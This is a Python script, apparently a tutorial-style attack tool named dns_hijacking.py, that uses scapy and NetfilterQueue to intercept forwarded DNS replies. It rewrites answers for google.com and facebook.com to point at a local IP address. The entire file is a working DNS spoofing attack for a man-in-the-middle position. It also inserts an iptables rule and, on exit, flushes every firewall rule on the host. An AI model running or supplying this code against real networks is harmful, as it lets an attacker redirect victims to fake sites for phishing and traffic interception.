dns_hijacking.py

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from scapy.all import *
from netfilterqueue import NetfilterQueue
import os

dns_hosts = {
    b"www.google.com.": "192.168.71.17",
    b"google.com.": "192.168.71.17",
    b"facebook.com.": "192.168.71.17"
}

def process_packet(packet):
    # convert netfilter queue packet to scapy packet
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        # if the packet is a DNS Resource Record (DNS reply) modify the packet
        print("[Before]:", scapy_packet.summary())
        qname = scapy_packet[DNSQR].qname
        if qname in dns_hosts:
            scapy_packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
            # set the answer count to 1
            scapy_packet[DNS].ancount = 1
            # delete checksums and length of packet, because we have modified the packet
            # new calculations are required ( scapy will do automatically )
            del scapy_packet[IP].len
            del scapy_packet[IP].chksum
            del scapy_packet[UDP].len
            del scapy_packet[UDP].chksum
        print("[After ]:", scapy_packet.summary())
        # set back as netfilter queue packet
        packet.set_payload(bytes(scapy_packet))
    # accept the packet
    packet.accept()
    
QUEUE_NUM = 0
# insert the iptables FORWARD rule
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# instantiate the netfilter queue
queue = NetfilterQueue()
try:
    # bind the queue number to our callback `process_packet`
    # and start it
    queue.bind(QUEUE_NUM, process_packet)
    queue.run()
except KeyboardInterrupt:
    # if want to exit, make sure we
    # remove that rule we just inserted, going back to normal.
    os.system("iptables --flush")